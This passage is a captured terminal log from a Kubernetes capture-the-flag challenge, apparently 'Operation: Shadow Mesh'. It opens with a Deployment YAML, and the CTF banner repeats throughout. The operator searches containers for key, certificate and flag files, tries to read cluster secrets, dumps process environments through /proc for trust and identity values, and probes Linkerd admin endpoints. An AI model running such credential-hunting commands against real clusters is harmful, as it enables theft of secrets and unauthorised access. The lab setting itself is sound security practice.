uid: 2b9f7288-6f94-42f3-9260-617a21c71022
spec:
progressDeadlineSeconds: 600
replicas: 1
revisionHistoryLimit: 10
selector:
matchLabels:
app: receiver
strategy:
rollingUpdate:
maxSurge: 25%
maxUnavailable: 25%
type: RollingUpdate
template:
metadata:
labels:
app: receiver
spec:
containers:
- args:
- |
import http.server
import socketserver
import datetime
class Handler(http.server.SimpleHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.end_headers()
self.wfile.write(b"Request successfully received.\n")
print("Listening on 8080...", flush=True)
with socketserver.TCPServer(("", 8080), Handler) as httpd:
httpd.serve_forever()
command:
- python
- -c
image: python:3.14-slim
imagePullPolicy: IfNotPresent
name: python-server
ports:
- containerPort: 8080
name: http
protocol: TCP
resources: {}
securityContext:
allowPrivilegeEscalation: false
capabilities:
drop:
- ALL
runAsNonRoot: true
runAsUser: 1000
terminationMessagePath: /dev/termination-log
terminationMessagePolicy: File
- args:
- |
apt-get update && apt-get install -y tcpdump curl iproute2
sleep infinity
command:
- /bin/sh
- -c
image: debian:trixie-slim
imagePullPolicy: IfNotPresent
name: debug-tools
resources: {}
securityContext:
capabilities:
add:
- NET_ADMIN
- NET_RAW
runAsUser: 0
terminationMessagePath: /dev/termination-log
terminationMessagePolicy: File
dnsPolicy: ClusterFirst
restartPolicy: Always
schedulerName: default-scheduler
securityContext: {}
terminationGracePeriodSeconds: 30
status:
availableReplicas: 1
conditions:
- lastTransitionTime: "2026-03-25T10:51:03Z"
lastUpdateTime: "2026-03-25T10:51:03Z"
message: Deployment has minimum availability.
reason: MinimumReplicasAvailable
status: "True"
type: Available
- lastTransitionTime: "2026-03-25T10:50:53Z"
lastUpdateTime: "2026-03-25T10:51:03Z"
message: ReplicaSet "receiver-794df886d7" has successfully progressed.
reason: NewReplicaSetAvailable
status: "True"
type: Progressing
observedGeneration: 1
readyReplicas: 1
replicas: 1
terminatingReplicas: 0
updatedReplicas: 1
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kexit
[?2004lexit
Connection to 35.179.133.134 closed.ssh -tt -F /tmp/challenge-2/ssh_config -o StrictHostKeyChecking=no bastion << 'SSHEOF' 2>&1 | sed 's/\r//g' echo "=== PYTHON-SERVER ===" kubectl exec -n production receiver-794df886d7-8f427 -c python-server -- find / -maxdepth 4 -name "*.key" -o -name "*.pem" -o -name "*flag*" 2>/dev/null 2>&1 | grep -v proc | grep -v sys | grep -v share | grep -v lib | grep -v ssl echo "=== CURL FROM DEBUG-TOOLS TO GATEWAY ===" kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- curl -sk https://10.111.253.191 2>&1 echo "=== CURL FROM DEBUG-TOOLS LOCALHOST LINKERD ===" kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- curl -s http://localhost:4191/metrics 2>&1 | head -5 kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- curl -s http://localhost:4191/ready 2>&1 echo "=== LINKERD IDENTITY ===" kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- curl -s http://localhost:4191/env 2>&1 | grep -i identity | head -10 exit SSHEOF
_ _ _ ____ ____ _ _ _ _ _ __ __ ____ __ _ _ _ _ ____
( \/ \/ )( __)/ ___)/ )( \(_) ( ( \ / _\ ___ / _\ ( _ \ / \ / )( \( ( \( _ \
) ( ) _) \___ \) __ ( )( / / ( (_ \(___)/ \ ) /( () )) \/ (/ / )(_) )
(_/\/\_) (____)(____/\_)(_/(__)\_)__) \__/ \_/\_/(_)\_) \__/ \____/\_)__)(____/
Welcome to KubeCon EU 2026!
Operation: Shadow Mesh (Amsterdam Edition)
Welkom, Operators! The target is locked inside a strict Linkerd Service Mesh, with perimeters tighter than Amsterdam's bike lanes at rush hour.
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
Hint: Know Your Turf > Your privileges vary by neighborhood. This will be crucial across the entire operation, so it's highly recommended to keep these two commands distinct:
- kubectl auth can-i --list: This checks your general permissions at the cluster level (or within the default namespace).
- kubectl auth can-i --list -n <namespace name>: This queries your exact permissions confined to a specific, targeted namespace.
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
To begin your heist, knock on the front door of the Envoy Gateway IP
export GWIP=$(kubectl get svc -n envoy-gateway-system -o custom-columns=NAME:.metadata.name,IP:.spec.clusterIP --no-headers | grep '^envoy-default-public-gateway-' | awk '{print $2}')
curl -k https://$GWIP
The first flag is waiting for you there, but you'll need to dig around your environment for the right keys to get inside.
The gateway is bouncing your request because you are missing a client certificate.
Veel succes (Good luck), Operator! Stay stealthy and mind the bikes.
echo "=== PYTHON-SERVER ==="
kubectl exec -n production receiver-794df886d7-8f427 -c python-server -- find / -maxdepth 4 -name "*.key" -o -name "*.pem" -o -name "*flag*" 2>/dev/null 2>&1 | grep -v proc | grep -v sys | grep -v share | grep -v lib | grep -v ssl
echo "=== CURL FROM DEBUG-TOOLS TO GATEWAY ==="
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- curl -sk https://10.111.253.191 2>&1
echo "=== CURL FROM DEBUG-TOOLS LOCALHOST LINKERD ==="
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- curl -s http://localhost:4191/metrics 2>&1 | head -5
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- curl -s http://localhost:4191/ready 2>&1
echo "=== LINKERD IDENTITY ==="
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- curl -s http://localhost:4191/env 2>&1 | grep -i identity | head -10
exit
echo "=== PYTHON-SERVER ==="
kubectl exec -n production receiver-794df886d7-8f427 -c python-server -- find / -maxdepth 4 -name "*.key" -o -name "*.pem" -o -name "*flag*" 2>/dev/null 2>&1 | grep -v proc | grep -v sys | grep -v share | grep -v lib | grep -v ssl
echo "=== CURL FROM DEBUG-TOOLS TO GATEWAY ==="
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- curl -sk https://10.111.253.191 2>&1
echo "=== CURL FROM DEBUG-TOOLS LOCALHOST LINKERD ==="
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- curl -s http://localhost:4191/metrics 2>&1 | head -5
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- curl -s http://localhost:4191/ready 2>&1
echo "=== LINKERD IDENTITY ==="
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- curl -s http://localhost:4191/env 2>&1 | grep -i identity | head -10
exit
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo "=== PYTHON-SERVER ==="
[?2004l=== PYTHON-SERVER ===
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl exec -n production receiver-794df886d7-8f4427 -c python-server -- find / -maxdepth 4 -name "*.key" -o -name "*.pem" -o -namme "*flag*" 2>/dev/null 2>&1 | grep -v proc | grep -v sys | grep -v share | grep -v lib | grep -v ssl
[?2004lfind: '/root': Permission denied
find: '/var/cache/ldconfig': Permission denied
command terminated with exit code 1
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kecho "=== CURL FROM DEBUG-TOOLS TO GATEWAY ==="
[?2004l=== CURL FROM DEBUG-TOOLS TO GATEWAY ===
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kkubectl exec -n production receiver-794df886d7-8f4427 -c debug-tools -- curl -sk https://10.111.253.191 2>&1
[?2004lcommand terminated with exit code 56
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kecho "=== CURL FROM DEBUG-TOOLS LOCALHOST LINKERD ==="
[?2004l=== CURL FROM DEBUG-TOOLS LOCALHOST LINKERD ===
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kkubectl exec -n production receiver-794df886d7-8f4427 -c debug-tools -- curl -s http://localhost:4191/metrics 2>&1 | head -5
[?2004l# HELP inbound_http_authz_allow_total The total number of inbound HTTP requests that were authorized
# TYPE inbound_http_authz_allow_total counter
inbound_http_authz_allow_total{target_addr="0.0.0.0:4191",target_ip="0.0.0.0",target_port="4191",srv_group="",srv_kind="default",srv_name="all-authenticated",srv_port="4191",route_group="",route_kind="default",route_name="probe",authz_group="",authz_kind="default",authz_name="probe",tls="no_identity",no_tls_reason="no_tls_from_remote"} 256
inbound_http_authz_allow_total{target_addr="192.168.84.131:8080",target_ip="192.168.84.131",target_port="8080",srv_group="",srv_kind="default",srv_name="all-authenticated",srv_port="8080",route_group="",route_kind="default",route_name="default",authz_group="",authz_kind="default",authz_name="all-authenticated",tls="true",client_id="default.supersecret.serviceaccount.identity.linkerd.cluster.local"} 254
inbound_http_authz_allow_total{target_addr="0.0.0.0:4191",target_ip="0.0.0.0",target_port="4191",srv_group="",srv_kind="default",srv_name="all-authenticated",srv_port="4191",route_group="",route_kind="default",route_name="default",authz_group="",authz_kind="default",authz_name="localhost",tls="no_identity",no_tls_reason="no_tls_from_remote"} 1
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kkubectl exec -n production receiver-794df886d7-8f4427 -c debug-tools -- curl -s http://localhost:4191/ready 2>&1
[?2004lready
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kecho "=== LINKERD IDENTITY ==="
[?2004l=== LINKERD IDENTITY ===
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl exec -n production receiver-794df886d7-8f4427 -c debug-tools -- curl -s http://localhost:4191/env 2>&1 | grep -i identity || head -10
[?2004l[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kexit
[?2004lexit
Connection to 35.179.133.134 closed.ssh -tt -F /tmp/challenge-2/ssh_config -o StrictHostKeyChecking=no bastion << 'SSHEOF' 2>&1 | sed 's/\r//g' echo "=== TRY SPECIFIC SECRETS ===" kubectl get secret client-ca-secret -n default -o yaml 2>&1 kubectl get secret certs -n default -o yaml 2>&1 echo "=== SECURITY POLICIES ===" kubectl get securitypolicies -A -o yaml 2>&1 echo "=== HTTPROUTES IN DEFAULT ===" kubectl get httproutes -n default -o yaml 2>&1 echo "=== OPENSSL GENERATE NEW KEY ===" openssl genrsa -out /tmp/newkey.pem 2048 2>&1 openssl req -new -key /tmp/newkey.pem -out /tmp/newcsr.pem -subj "/CN=LinkerdClientUser" 2>&1 echo "=== CHECK CSR API ===" kubectl auth can-i create certificatesigningrequests 2>&1 exit SSHEOF
_ _ _ ____ ____ _ _ _ _ _ __ __ ____ __ _ _ _ _ ____
( \/ \/ )( __)/ ___)/ )( \(_) ( ( \ / _\ ___ / _\ ( _ \ / \ / )( \( ( \( _ \
) ( ) _) \___ \) __ ( )( / / ( (_ \(___)/ \ ) /( () )) \/ (/ / )(_) )
(_/\/\_) (____)(____/\_)(_/(__)\_)__) \__/ \_/\_/(_)\_) \__/ \____/\_)__)(____/
Welcome to KubeCon EU 2026!
Operation: Shadow Mesh (Amsterdam Edition)
Welkom, Operators! The target is locked inside a strict Linkerd Service Mesh, with perimeters tighter than Amsterdam's bike lanes at rush hour.
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
Hint: Know Your Turf > Your privileges vary by neighborhood. This will be crucial across the entire operation, so it's highly recommended to keep these two commands distinct:
- kubectl auth can-i --list: This checks your general permissions at the cluster level (or within the default namespace).
- kubectl auth can-i --list -n <namespace name>: This queries your exact permissions confined to a specific, targeted namespace.
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
To begin your heist, knock on the front door of the Envoy Gateway IP
export GWIP=$(kubectl get svc -n envoy-gateway-system -o custom-columns=NAME:.metadata.name,IP:.spec.clusterIP --no-headers | grep '^envoy-default-public-gateway-' | awk '{print $2}')
curl -k https://$GWIP
The first flag is waiting for you there, but you'll need to dig around your environment for the right keys to get inside.
The gateway is bouncing your request because you are missing a client certificate.
Veel succes (Good luck), Operator! Stay stealthy and mind the bikes.
echo "=== TRY SPECIFIC SECRETS ==="
kubectl get secret client-ca-secret -n default -o yaml 2>&1
kubectl get secret certs -n default -o yaml 2>&1
echo "=== SECURITY POLICIES ==="
kubectl get securitypolicies -A -o yaml 2>&1
echo "=== HTTPROUTES IN DEFAULT ==="
kubectl get httproutes -n default -o yaml 2>&1
echo "=== OPENSSL GENERATE NEW KEY ==="
openssl genrsa -out /tmp/newkey.pem 2048 2>&1
openssl req -new -key /tmp/newkey.pem -out /tmp/newcsr.pem -subj "/CN=LinkerdClientUser" 2>&1
echo "=== CHECK CSR API ==="
kubectl auth can-i create certificatesigningrequests 2>&1
exit
echo "=== TRY SPECIFIC SECRETS ==="
kubectl get secret client-ca-secret -n default -o yaml 2>&1
kubectl get secret certs -n default -o yaml 2>&1
echo "=== SECURITY POLICIES ==="
kubectl get securitypolicies -A -o yaml 2>&1
echo "=== HTTPROUTES IN DEFAULT ==="
kubectl get httproutes -n default -o yaml 2>&1
echo "=== OPENSSL GENERATE NEW KEY ==="
openssl genrsa -out /tmp/newkey.pem 2048 2>&1
openssl req -new -key /tmp/newkey.pem -out /tmp/newcsr.pem -subj "/CN=LinkerdClientUser" 2>&1
echo "=== CHECK CSR API ==="
kubectl auth can-i create certificatesigningrequests 2>&1
exit
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo "=== TRY SPECIFIC SECRETS ==="
[?2004l=== TRY SPECIFIC SECRETS ===
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl get secret client-ca-secret -n default -o yaml 2>&1
[?2004lError from server (Forbidden): secrets "client-ca-secret" is forbidden: User "system:serviceaccount:default:jumppod" cannot get resource "secrets" in API group "" in the namespace "default"
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kkubectl get secret certs -n default -o yaml 2>&1
[?2004lError from server (Forbidden): secrets "certs" is forbidden: User "system:serviceaccount:default:jumppod" cannot get resource "secrets" in API group "" in the namespace "default"
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kecho "=== SECURITY POLICIES ==="
[?2004l=== SECURITY POLICIES ===
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl get securitypolicies -A -o yaml 2>&1
[?2004lapiVersion: v1
items: []
kind: List
metadata:
resourceVersion: ""
Error from server (Forbidden): securitypolicies.gateway.envoyproxy.io is forbidden: User "system:serviceaccount:default:jumppod" cannot list resource "securitypolicies" in API group "gateway.envoyproxy.io" at the cluster scope
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kecho "=== HTTPROUTES IN DEFAULT ==="
[?2004l=== HTTPROUTES IN DEFAULT ===
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kkubectl get httproutes -n default -o yaml 2>&1
[?2004lapiVersion: v1
items: []
kind: List
metadata:
resourceVersion: ""
Error from server (Forbidden): httproutes.gateway.networking.k8s.io is forbidden: User "system:serviceaccount:default:jumppod" cannot list resource "httproutes" in API group "gateway.networking.k8s.io" in the namespace "default"
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kecho "=== OPENSSL GENERATE NEW KEY ==="
[?2004l=== OPENSSL GENERATE NEW KEY ===
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kopenssl genrsa -out /tmp/newkey.pem 2048 2>&1
[?2004l[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kopenssl req -new -key /tmp/newkey.pem -out /tmp/neewcsr.pem -subj "/CN=LinkerdClientUser" 2>&1
[?2004l[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kecho "=== CHECK CSR API ==="
[?2004l=== CHECK CSR API ===
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl auth can-i create certificatesigningrequessts 2>&1
[?2004l[33;1mWarning:[0m resource 'certificatesigningrequests' is not namespace scoped in group 'certificates.k8s.io'
no
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kexit
[?2004lexit
command terminated with exit code 1
Connection to 35.179.133.134 closed.ssh -tt -F /tmp/challenge-2/ssh_config -o StrictHostKeyChecking=no bastion << 'SSHEOF' 2>&1 | sed 's/\r//g'
export GWIP=$(kubectl get svc -n envoy-gateway-system -o custom-columns=NAME:.metadata.name,IP:.spec.clusterIP --no-headers | grep '^envoy-default-public-gateway-' | awk '{print $2}')
echo "=== TLS HANDSHAKE - ACCEPTABLE CAs ==="
echo | openssl s_client -connect $GWIP:443 2>&1 | grep -A 20 "Acceptable client"
echo "=== FULL TLS INFO ==="
echo | openssl s_client -connect $GWIP:443 -servername $GWIP 2>&1 | tail -30
echo "=== CHECK LINKERD TRUST ANCHOR ==="
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- sh -c 'cat /proc/*/environ 2>/dev/null | tr "\0" "\n" | grep -i trust | head -5' 2>&1
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- sh -c 'cat /proc/*/environ 2>/dev/null | tr "\0" "\n" | grep -i identity | head -5' 2>&1
exit
SSHEOF_ _ _ ____ ____ _ _ _ _ _ __ __ ____ __ _ _ _ _ ____
( \/ \/ )( __)/ ___)/ )( \(_) ( ( \ / _\ ___ / _\ ( _ \ / \ / )( \( ( \( _ \
) ( ) _) \___ \) __ ( )( / / ( (_ \(___)/ \ ) /( () )) \/ (/ / )(_) )
(_/\/\_) (____)(____/\_)(_/(__)\_)__) \__/ \_/\_/(_)\_) \__/ \____/\_)__)(____/
Welcome to KubeCon EU 2026!
Operation: Shadow Mesh (Amsterdam Edition)
Welkom, Operators! The target is locked inside a strict Linkerd Service Mesh, with perimeters tighter than Amsterdam's bike lanes at rush hour.
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
Hint: Know Your Turf > Your privileges vary by neighborhood. This will be crucial across the entire operation, so it's highly recommended to keep these two commands distinct:
- kubectl auth can-i --list: This checks your general permissions at the cluster level (or within the default namespace).
- kubectl auth can-i --list -n <namespace name>: This queries your exact permissions confined to a specific, targeted namespace.
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
To begin your heist, knock on the front door of the Envoy Gateway IP
export GWIP=$(kubectl get svc -n envoy-gateway-system -o custom-columns=NAME:.metadata.name,IP:.spec.clusterIP --no-headers | grep '^envoy-default-public-gateway-' | awk '{print $2}')
curl -k https://$GWIP
The first flag is waiting for you there, but you'll need to dig around your environment for the right keys to get inside.
The gateway is bouncing your request because you are missing a client certificate.
Veel succes (Good luck), Operator! Stay stealthy and mind the bikes.
export GWIP=$(kubectl get svc -n envoy-gateway-system -o custom-columns=NAME:.metadata.name,IP:.spec.clusterIP --no-headers | grep '^envoy-default-public-gateway-' | awk '{print $2}')
echo "=== TLS HANDSHAKE - ACCEPTABLE CAs ==="
echo | openssl s_client -connect $GWIP:443 2>&1 | grep -A 20 "Acceptable client"
echo "=== FULL TLS INFO ==="
echo | openssl s_client -connect $GWIP:443 -servername $GWIP 2>&1 | tail -30
echo "=== CHECK LINKERD TRUST ANCHOR ==="
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- sh -c 'cat /proc/*/environ 2>/dev/null | tr "\0" "\n" | grep -i trust | head -5' 2>&1
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- sh -c 'cat /proc/*/environ 2>/dev/null | tr "\0" "\n" | grep -i identity | head -5' 2>&1
exit
export GWIP=$(kubectl get svc -n envoy-gateway-system -o custom-columns=NAME:.metadata.name,IP:.spec.clusterIP --no-headers | grep '^envoy-default-public-gateway-' | awk '{print $2}')
echo "=== TLS HANDSHAKE - ACCEPTABLE CAs ==="
echo | openssl s_client -connect $GWIP:443 2>&1 | grep -A 20 "Acceptable client"
echo "=== FULL TLS INFO ==="
echo | openssl s_client -connect $GWIP:443 -servername $GWIP 2>&1 | tail -30
echo "=== CHECK LINKERD TRUST ANCHOR ==="
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- sh -c 'cat /proc/*/environ 2>/dev/null | tr "\0" "\n" | grep -i trust | head -5' 2>&1
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- sh -c 'cat /proc/*/environ 2>/dev/null | tr "\0" "\n" | grep -i identity | head -5' 2>&1
exit
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# export GWIP=$(kubectl get svc -n envoy-gateway-sysstem -o custom-columns=NAME:.metadata.name,IP:.spec.clusterIP --no-headers | grepp '^envoy-default-public-gateway-' | awk '{print $2}')
[?2004l[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kecho "=== TLS HANDSHAKE - ACCEPTABLE CAs ==="
[?2004l=== TLS HANDSHAKE - ACCEPTABLE CAs ===
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kecho | openssl s_client -connect $GWIP:443 2>&1 | grep -A 20 "Acceptable client"
[?2004l[01;31m[KAcceptable client[m[K certificate CA names
O = Linkerd-CTF, CN = Linkerd-CTF
Requested Signature Algorithms: ECDSA+SHA256:RSA-PSS+SHA256:RSA+SHA256:ECDSA+SHA384:RSA-PSS+SHA384:RSA+SHA384:RSA-PSS+SHA512:RSA+SHA512:RSA+SHA1
Shared Requested Signature Algorithms: ECDSA+SHA256:RSA-PSS+SHA256:RSA+SHA256:ECDSA+SHA384:RSA-PSS+SHA384:RSA+SHA384:RSA-PSS+SHA512:RSA+SHA512
Peer signing digest: SHA256
Peer signature type: RSA-PSS
Server Temp Key: X25519, 253 bits
---
SSL handshake has read 1416 bytes and written 403 bytes
Verification error: unable to verify the first certificate
---
New, TLSv1.3, Cipher is TLS_AES_256_GCM_SHA384
Server public key is 2048 bit
Secure Renegotiation IS NOT supported
Compression: NONE
Expansion: NONE
No ALPN negotiated
Early data was not sent
Verify return code: 21 (unable to verify the first certificate)
---
DONE
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kecho "=== FULL TLS INFO ==="
[?2004l=== FULL TLS INFO ===
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo | openssl s_client -connect $GWIP:443 -serverrname $GWIP 2>&1 | tail -30
[?2004lRxWqKbJfuN5WoFIRnSS+KZvrSr3RYhinczdJzn0i+kdFd1fP3k5aREJ/n2m4jHjK
9wosZXzzWhraBFPU4G+FxCpbkBI1Fq/K6uy66u+dsDFwfPQBbdgBBasBauOjlVjE
+3ktJkxF9+NecqZoiOeoNqH1dwBhO16yhoiuLI6Hwau/AJvhMZxGnDedeUQEGwnY
XPdoCh3rK+Bmf/6fKn4+vVoFA206Yx839rJ15/mv9vW+2mVUuSxg/tj4qLsisOa5
DboK9aEzCjbFTZNk55C5IT1DwZhV4lLujA==
-----END CERTIFICATE-----
subject=CN = gateway.default.svc
issuer=O = Linkerd-CTF, CN = Linkerd-CTF
---
Acceptable client certificate CA names
O = Linkerd-CTF, CN = Linkerd-CTF
Requested Signature Algorithms: ECDSA+SHA256:RSA-PSS+SHA256:RSA+SHA256:ECDSA+SHA384:RSA-PSS+SHA384:RSA+SHA384:RSA-PSS+SHA512:RSA+SHA512:RSA+SHA1
Shared Requested Signature Algorithms: ECDSA+SHA256:RSA-PSS+SHA256:RSA+SHA256:ECDSA+SHA384:RSA-PSS+SHA384:RSA+SHA384:RSA-PSS+SHA512:RSA+SHA512
Peer signing digest: SHA256
Peer signature type: RSA-PSS
Server Temp Key: X25519, 253 bits
---
SSL handshake has read 1416 bytes and written 426 bytes
Verification error: unable to verify the first certificate
---
New, TLSv1.3, Cipher is TLS_AES_256_GCM_SHA384
Server public key is 2048 bit
Secure Renegotiation IS NOT supported
Compression: NONE
Expansion: NONE
No ALPN negotiated
Early data was not sent
Verify return code: 21 (unable to verify the first certificate)
---
DONE
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kecho "=== CHECK LINKERD TRUST ANCHOR ==="
[?2004l=== CHECK LINKERD TRUST ANCHOR ===
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kkubectl exec -n production receiver-794df886d7-8f4427 -c debug-tools -- sh -c 'cat /proc/*/environ 2>/dev/null | tr "\0" "\n" | greep -i trust | head -5' 2>&1
[?2004l[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kkubectl exec -n production receiver-794df886d7-8f4427 -c debug-tools -- sh -c 'cat /proc/*/environ 2>/dev/null | tr "\0" "\n" | greep -i identity | head -5' 2>&1
[?2004l[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kexit
[?2004lexit
Connection to 35.179.133.134 closed.ssh -tt -F /tmp/challenge-2/ssh_config -o StrictHostKeyChecking=no bastion << 'SSHEOF' 2>&1 | sed 's/\r//g' echo "=== PROCESSES IN DEBUG-TOOLS ===" kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- ps aux 2>&1 echo "=== CHECK SHARED PID NS ===" kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- ls /proc/ 2>&1 | head -20 echo "=== LINKERD PROXY PORTS ===" kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- ss -tlnp 2>&1 echo "=== TRY ADMIN IDENTITY ===" kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- curl -s http://localhost:4191/identity 2>&1 | head -20 kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- curl -s http://localhost:4191/api/v1/certs 2>&1 | head -20 exit SSHEOF
_ _ _ ____ ____ _ _ _ _ _ __ __ ____ __ _ _ _ _ ____
( \/ \/ )( __)/ ___)/ )( \(_) ( ( \ / _\ ___ / _\ ( _ \ / \ / )( \( ( \( _ \
) ( ) _) \___ \) __ ( )( / / ( (_ \(___)/ \ ) /( () )) \/ (/ / )(_) )
(_/\/\_) (____)(____/\_)(_/(__)\_)__) \__/ \_/\_/(_)\_) \__/ \____/\_)__)(____/
Welcome to KubeCon EU 2026!
Operation: Shadow Mesh (Amsterdam Edition)
Welkom, Operators! The target is locked inside a strict Linkerd Service Mesh, with perimeters tighter than Amsterdam's bike lanes at rush hour.
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
Hint: Know Your Turf > Your privileges vary by neighborhood. This will be crucial across the entire operation, so it's highly recommended to keep these two commands distinct:
- kubectl auth can-i --list: This checks your general permissions at the cluster level (or within the default namespace).
- kubectl auth can-i --list -n <namespace name>: This queries your exact permissions confined to a specific, targeted namespace.
